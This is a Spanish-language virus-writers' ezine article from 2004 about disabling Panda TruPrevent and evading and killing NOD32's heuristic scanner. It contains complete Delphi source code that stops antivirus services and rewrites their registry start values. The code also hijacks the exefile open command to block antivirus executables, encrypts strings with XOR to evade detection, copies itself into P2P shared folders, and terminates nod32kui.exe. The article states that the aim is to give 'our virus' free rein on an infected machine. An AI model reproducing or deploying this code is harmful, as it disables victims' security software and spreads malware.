***************************************************************************************************
*************************************Analizando y Eliminando*******************************************
**************************************Tecnologías Antivirales *******************************************
*************************
Basadas en la emulación de código y la heurística avanzada*****************************
**************************************
Byt3Cr0w/GEDZAC*********************************************
***************************************************************************************************


Actualmente cada día se avanza mas en aspectos de seguridad informática, ya sea creando módulos heurísticas avanzados como
por ejemplo el ya bastantes veces aclamado y premiado modulo de heurística de NOD32, o tratando de detectar nuevas amenazas
ejecutando los archivos en una maquina virtual donde se emula al sistema operativo del usuario y se buscan en el cambios
realizados por el fichero.

Existen en este momento varios programas los cuales detectan nuevas amenazas basándose en el sistema anteriormente comentado,
uno de ellos es Panda TruPrevent (actualmente no oficial (09/12/2004)).

Después de enterarme de que existía esta tecnología me negaba a crear su publicidad la cual se centraba en el hecho
de detectar nuevas amenazas ya sean virus, worms, malwares o de otro tipo sin utilizar bases de datos ni heurística
y el hecho de emular una maquina virtual donde se ejecutaría el archivo y se analizarían sus acciones en un corto periodo
de tiempo, al escuchar esto lo primero que se me vino a la cabeza fue toda la memoria que podría consumir analizando un
archivo.

Luego de escuchar en varias ocasiones que esta tecnología acabaría con los futuros worms o virus, me propuse estudiarla
además de la supuesta gran heurística de NOD32.
 

**************************************************************************************************
*****************************************Analizando y Eliminando***************************************
*******************************************Panda TruPrevent******************************************
********************
(MÉTODO POSIBLEMENTE NO COMPATIBLE CON WINDOWS 9x)********************
***************************************************************************************************

Lo primero es saber si esta tecnología funciona y es tan buena como lo indica su publicidad, para esto he testeado con 8 tipos
de amenazas estas están conformadas por 8 diferentes worms/virus:

                        

Como podemos ver los 8 worm/virus fueron detectados bloqueados o desinfectados, 4 de estos 8 eran proyectos virales nuevos
y no fueron detectados por ningún Antivirus (Escaneados con:  NOD32, KAV, DrWeb,  NVC, F-PROT), con esta prueba ya
sabemos que TruPrevent funciona.

TruPrevent usa un sistema de protección (avanzado en comparación con algunos Antivirus) el cual previene que se pueda
modificar alguna llave/clave del registro que pueda afectar al funcionamiento de TruPrevent, igualmente evita que
se puedan cerrar sus procesos a través de cualquier programa (Esto incluye al taskmgr de Windows).

El sistema de protección para evitar que podamos modificar/eliminar realiza varias acciones sobre todas las llaves
del registro que TruPrevent desea proteger.




Estas acciones las realiza de forma repetitiva logrando de esta manera que modificar o borrar cualquier llave o valor del
registro relacionado con TruPrevent sea difícil (o imposible) ya que estas están siendo usadas por el programa protector.

De manera similar TruPrevent para evitar que sus procesos sean terminados, realiza acciones repetitivamente sobre archivos
que en general no existen.



TruPrevent nos ha quitado por ahora la posibilidad de jugar con sus llaves y valores en el registro al igual que
la posibilidad de cerrar sus procesos, en este momento ya deberíamos de estar pensando usar la fuerza bruta

- Borrar directorio de TruPrevent
- Borrar los archivos Signatures (Base de datos virales)
- Etc...

Aunque esto pueda sonar rápido, sencillo y sin complicaciones pues lamentablemente no podrás hacerlo ya que el
directorio donde se encuentra TruPrevent instalado (y los archivos Signatures) esta protegido por el mismo TruPrevent.

En conclusión mientras se este ejecutando TruPrevent es bastante dificultoso (o imposible) afectar el funcionamiento de este.

Así que la solución seria simplemente evitar que se ejecutara el TruPrevent al inicio de Windows y de esta manera tendríamos
el camino libre para hacer lo que quisiéramos.

Para ejecutarse en cada inicio TruPrevent al instalarse crea las siguientes llaves en el registro:

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\APVXDWIN
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\LUPGCONF
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\PavProt
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\PavFnSvr
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Panda Preventium Service
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\PavFires
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\PavKRE
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\PavKRE9x
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\PavProt9
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Panda Preventium+ Service


Naturalmente para poder evitar que se ejecuta al inicio tendríamos que borrar o modificar de alguna manera esas
llaves pero esto no es posible.

El funcionamiento de TruPrevent esta constituido y basado en varios servicios
 



- Panda Function Service
- Panda IManager Service
- Panda Pavkre
- Panda PavProt
- Panda Preventium+ Service
- Panda Process Protection Service


Para nuestra sorpresa podemos usar el comando: net stop, para poder detener los servicios del TruPrevent
al detener estos servicios prácticamente TruPrevent queda desnudo e indefenso basta con detener alguno de los
siguientes servicios:

- Panda Function Service
- Panda Pavkre
- Panda PavProt
- Panda Preventium+ Service

Luego de detener alguno de estos servicios debemos modificar el registro para evitar que en cada inicio se ejecuten los
servicios y al no ejecutarse los servicios Panda TruPrevent no se ejecutara y nuestro virus tendra el camino libre
en la maquina del infectado.

Llaves a modificar:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\PAVfnsvr\START = 4
(Hexadecimal = DWORD)
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Pavkre\START = 4
(Hexadecimal = DWORD)
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\PavProc\START = 4
(Hexadecimal = DWORD)
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\PavProt\START = 4
(Hexadecimal = DWORD)
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ \START = 4
(Hexadecimal = DWORD)

Al hacer esto en el próximo inicio de Windows no se ejecutaran los servicios del TruPrevent pero todavía queda
existiendo la llave:

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\APVXDWIN

La cual no podemos modificar ni eliminar (con o sin los servicios ejecutándose), esta llave nos echaría a perder nuestro
trabajo ya que ella ejecuta al TruPrevent en si que seria el archivo "APVXDWIN.EXE" ubicado en la carpeta de instalación.

Para evitar la ejecución debemos de modificar la llave:

HKEY_CLASSES_ROOT\exefile\shell\open\command

Para de esta manera hacer que nuestro virus intercepte a los archivos ejecutables (.EXE) antes de ejecutarse,
nuestro virus examinara el nombre del archivo que necesita ejecutarse si el archivo tiene como nombre: "APVXDWIN.EXE"
el virus no lo ejecutara y de esta manera evitaremos completamente la presencia del TruPrevent en la memoria (debemos de
ejecutar los demás archivos ejecutables, este tema esta mejor explicado en el artículos "Interceptar Ejecutables" escrito por MachineDramon/GEDZAC)

Codigo de ejemplo (Delphi):

[
program Kill_TruPrevent;

{ TruPrevent Killer Example for the Mitosis #3 Ezine by: Byt3Cr0w/GEDZAC }

uses
windows;

Const
NS1 = 'cmd.exe /c net stop "Panda Function Service"';
NS2 = 'cmd.exe /c net stop "Panda Pavkre"';
NS3 = 'cmd.exe /c net stop "Panda PavProt"';

RG = 'SYSTEM\CurrentControlSet\Services\';
RG1 = RG+'PAVfnsvr';
RG2 = RG+'Pavkre';
RG3 = RG+'PavProc';
RG4 = RG+'PavProt';
RG5 = RG+'PavPrSrv';

Procedure Rwrite(O:String);
var
Reg:Hkey;
Hexa:Cardinal;

Begin
Hexa := $4;
RegOpenKeyEx(HKEY_LOCAL_MACHINE,Pchar(O),1,KEY_ALL_ACCESS,Reg);
RegSetValueEx(Reg,Pchar('Start'),0,REG_DWORD,@Hexa,SizeOf(Cardinal));
RegCloseKey(Reg);
End;

Procedure NETSTOP;
begin
WinExec(Pchar(NS1),SW_HIDE);
sleep(2000);
//Esperamos a que se detenga el servicio...
WinExec(Pchar(NS2),SW_HIDE);
sleep(2000);
//Esperamos a que se detenga el servicio...
WinExec(Pchar(NS3),SW_HIDE);
sleep(2000);
//Esperamos a que se detenga el servicio...
end;

Procedure ModReg;
begin

Rwrite(RG1);
Rwrite(RG2);
Rwrite(RG3);
Rwrite(RG4);
Rwrite(RG5);
end;

Procedure ExeReg;
var
 Reg:Hkey;
Pam:string;

begin
Pam := paramstr(0)+' "%1"';
RegOpenKeyEx(HKEY_CLASSES_ROOT,Pchar('exefile\shell\open\command'),1,KEY_ALL_ACCESS,Reg);
RegSetValueEx(Reg,Pchar(''),0,REG_SZ,Pchar(Pam),Length(Pam));
RegCloseKey(Reg);
end;


function FileName(m:string):string;
var
 i:integer;
a,b:string;

begin
for i := Length(m) downto 0 do if m[i] = '\' then break else a := a + m[i]; i:=0;
for i := Length(a) downto 0 do b:=b+a[i];
Result := b;
end;


begin
NetStop;
ModReg;
ExeReg;

if paramstr(1) ='' then exitprocess(0);
if FileName(paramstr(1)) ='APVXDWIN.EXE' then exitprocess(0);
WinExec(Pchar(paramstr(1)),SW_SHOWNORMAL);
end.


]
 

***************************************************************************************************
*****************************************Evadiendo & Eliminando***************************************
****************************************Modulo Heuristico NOD32**************************************
***************************************************************************************************

Este modulo Heuristico es el que ha ganado mas años seguidos virus "in the wild" que son test objetivos no remunerados por ninguna compañia
personalmente he probado numerosos productos de este tipo:

     - Kaspersky AntiVirus
     - Symantec Norton Antivirus
     - Panda Titanium
     - Sophos AntiVirus
     - F-Prot
     - Norman Virus Control
     - Sybari
     - BitDefender
     - ClamWin

Ninguno de los mencionados posee una heurística tan compleja y precisa como la de NOD (producto de la compañía ESET)
la mayoría de los virus/worms luego de ser compilados son detectados heuristicamente por NOD, ya sean virus infectores o worms.

La detección heurística generalmente se basa en las Strings que contiene el virus, el modulo heuristico lee y analiza las Strings
encontradas y si estas son sospechosas entonces NOD detectara al archivo como:
"Probably unknown NewHeur_PE Virus" = "Probable virus nuevo"

Generalmente las strings mas sospechosas son las que mencionan directorios de populares programas P2P.

Para evitar esto bastaría con solo aplicar un simple método que seria encriptar las strings de nuestro virus, al aplicar esto a nuestro
virus el modulo heuristico no tendrá efecto (en la mayoría de los casos)  ya que las strings no tendrían sentido alguno.

Este método no es difícil de aplicar a nuestros virus , veamos la idea principal de un programa encriptador de Strings:


                                                                        Diagrama de flujo (flowchart) con Símbolos  estándar normalizados por ANSI.

Básicamente tendría que funcionar de una manera muy similar pero nuestro virus solo debería de cumplir la función de desencriptar las Strings y luego usarlas normalmente.

Ejemplo practico  (Delphi):

{ Ejemplo para la Mitosis #3 por Byt3Cr0w/GEDZAC}
{ Evasion y eliminacion del modulo heuristico NOD32 }

program Kill_NOD32;
uses
windows,TLHelp32,SysUtils;
const
PROCESS_TERMINATE=$0001;
var F:Array[1..8] of string;
M:Array[1..2] of string;
R:Array[1..3] of string;
A:string;

//Inicio de la rutina para terminar programas que se encuentren en ejecucion...
procedure TerminaProceso(NombreDelArchivo:string);
var
ElLoop:bool;
MiFoto:thandle;
EntradaDelProceso:tprocessentry32;

begin
MiFoto:=createtoolhelp32snapshot(th32cs_snapprocess,0);
EntradaDelProceso.dwSize:=Sizeof(EntradaDelProceso);
ElLoop:=Process32First(MiFoto,EntradaDelProceso);
while integer(ElLoop)<>0 do begin
if ((upperCase(extractfilename(EntradaDelProceso.szexefile))=UpperCase(NombreDelArchivo)) or (UpperCase(EntradaDelProceso.szExeFile)=UpperCase(NombreDelArchivo))) then
terminateprocess(OpenProcess(process_terminate,bool(0),EntradaDelProceso.th32ProcessID),0);
ElLoop:= process32Next(MiFoto,EntradaDelProceso);
end;
CloseHandle(MiFoto);
end;
//Fin de la rutina...


//Inicio de la rutina para copiar nuestro programa a diferentes carpetas P2P...
procedure CopyFiles;
var contador:integer;
begin
for contador := 1 to 8 do CopyFile(Pchar(paramstr(0)),Pchar(F[contador]),true);
end;
//Fin de la Rutina...

//Inicio de la rutina para mostrar mensaje...

procedure ShowMessage;
begin
MessageBox(0,Pchar(M[1]),Pchar    (M[2]),0);
end;
//Fin de la rutina...

//Inicio de la rutina para desencriptar las strings...
Function decrypt(cadena:string):string;
var desencriptado:string;
count1,count2,llave:integer;

begin
llave := 6;
//La llave de encriptacion en este caso es = 6
count1 := Length(cadena);
for count2 := 1 to count1 do desencriptado := desencriptado + chr(ord(cadena[count2]) xor llave);
Result := desencriptado;
end;
//Fin de la rutina...

//Inicio de la rutina de desencriptacion general...
procedure DecryptStrings;
var contador:integer;
begin
for contador := 1 to 8 do F[contador] := decrypt(F[contador]);
for contador := 1 to 2 do M[contador] := decrypt(M[contador]);
for contador := 1 to 3 do R[contador] := decrypt(R[contador]);
A := decrypt(A);
end;
//Fin de la rutina...

//Inicio de la rutina para modificar el registro...
Procedure ExeReg;
var Reg:Hkey;
Pam:string;
begin
Pam := paramstr(0)+R[1];
RegOpenKeyEx(HKEY_CLASSES_ROOT,Pchar(R[2]),1,KEY_ALL_ACCESS,Reg);
RegSetValueEx(Reg,Pchar(''),0,REG_SZ,Pchar(Pam),Length(Pam));
RegCloseKey(Reg);
end;
//Fin de la rutina...

//Inicio de la rutina para extraer el nombre del archivo a ejecutar...
function FileName(m:string):string;
var i:integer;
a,b:string;

begin
for i := Length(m) downto 0 do if m[i] = R[3] then break else a := a + m[i]; i:=0;
for i := Length(a) downto 0 do b:=b+a[i];
Result := b;
end;
//Fin de la rutina...

begin

/////////////////////////////////////////////////////////////////////////////////////////////////////
//------------------------------------------------------------------         
//|                          Strings Desencriptadas                                               
//|-----------------------------------------------------------------              
//|- C:\Archivos de programa\WinMX\Shared\Ejemplo.exe                        
//|- C:\Archivos de programa\Kazaa\My Shared Folder\Ejemplo.exe       
//|- C:\Archivos de programa\Grokster\My Grokster\Ejemplo.exe             
//|- C:\Archivos de programa\ICQ\Shared Folder\Ejemplo.exe                 
//|- C:\Archivos de programa\Bearshare\Shared\Ejemplo.exe                  
//|- C:\Archivos de programa\eMule\Incoming\Ejemplo.exe                      
//|- C:\Archivos de programa\Morpheus\My Shared Folder\Ejemplo.exe    
//|- C:\Archivos de programa\LimeWare\Shared\Ejemplo.exe                 
//|- Por Byt3Cr0w/GEDZAC 2004 
//|- [ Ejemplo para la Mitosis#3 ]
//|- "%1"
//|- exefile\shell\open\command
//|- \ |//
//|- nod32kui.exe
//|----------------------------------------------------------------|
////////////////////////////////////////////////////////////////////////////////////////////////////


// Strings encriptadas...

F[1] := 'E<ZGtenopiu&bc&vtiatgkgZQohK^ZUngtcbZClckvji(c~c';
F[2] := 'E<ZGtenopiu&bc&vtiatgkgZMg|ggZK&Ungtcb&@ijbctZClckvji(c~c';
F[3] := 'E<ZGtenopiu&bc&vtiatgkgZAtimurctZK&AtimurctZClckvji(c~c';
F[4] := 'E<ZGtenopiu&bc&vtiatgkgZOEWZUngtcb&@ijbctZClckvji(c~c';
F[5] := 'E<ZGtenopiu&bc&vtiatgkgZDcgtungtcZUngtcbZClckvji(c~c';
F[6] := 'E<ZGtenopiu&bc&vtiatgkgZcKsjcZOheikohaZClckvji(c~c';
F[7] := 'E<ZGtenopiu&bc&vtiatgkgZKitvncsuZK&Ungtcb&@ijbctZClckvji(c~c';
F[8] := 'E<ZGtenopiu&bc&vtiatgkgZJokcQgtcZUngtcbZClckvji(c~c';
M[1] := 'Vit&Dr5Et6q)ACB\GE&4662';
M[2] := ']&Clckvji&vgtg&jg&Koriuou%5&[';
R[1] := '&$#7$';
R[2] := 'c~c`ojcZuncjjZivchZeikkghb';
R[3] := 'Z';
A:= 'hib54mso(c~c';
//-----------------------------
DecryptStrings; //Desencriptamos las strings...
CopyFiles; //Copiamos archivos...
ExeReg; //Modificamos el registro...
ShowMessage; //Mostramos mensaje...
TerminaProceso(A); //Eliminamos de la memoria a NOD32
if paramstr(1) ='' then exitprocess(0);
//Si no tenemos parámetros terminamos la ejecución...
if FileName(paramstr(1)) = A then exitprocess(0);
//Si se solicita ejecutar a NOD32 terminamos la ejecución...
WinExec(Pchar(paramstr(1)),SW_SHOWNORMAL);
//Ejecutamos archivo...
end.

 

En este caso nuestro programa desencripta las Strings, genera copias de si mismo en carpetas P2P, modifica el registro, muestra un mensaje,termina el proceso de NOD32.

Nuestro programa interceptara cada vez que un archivo con extensión .EXE requiera ser ejecutado, extraerá el nombre del archivo y si este
es el NOD32 entonces no lo ejecutara. (De lo contrario ejecutara el archivo).

                                                                                               Adios - Tschüs - Ciao

Greedz / Thnxs / Agradecimientos

Todos los miembros de GEDZAC (actuales)
Falckon/DCA                                                   
- Waz up bro!
BlackRose                                                        - Hey Sizzz!        =)

Sickbyte & Backus / Primatelost                   

Byt3Cr0w/GEDZAC -  9/12/2004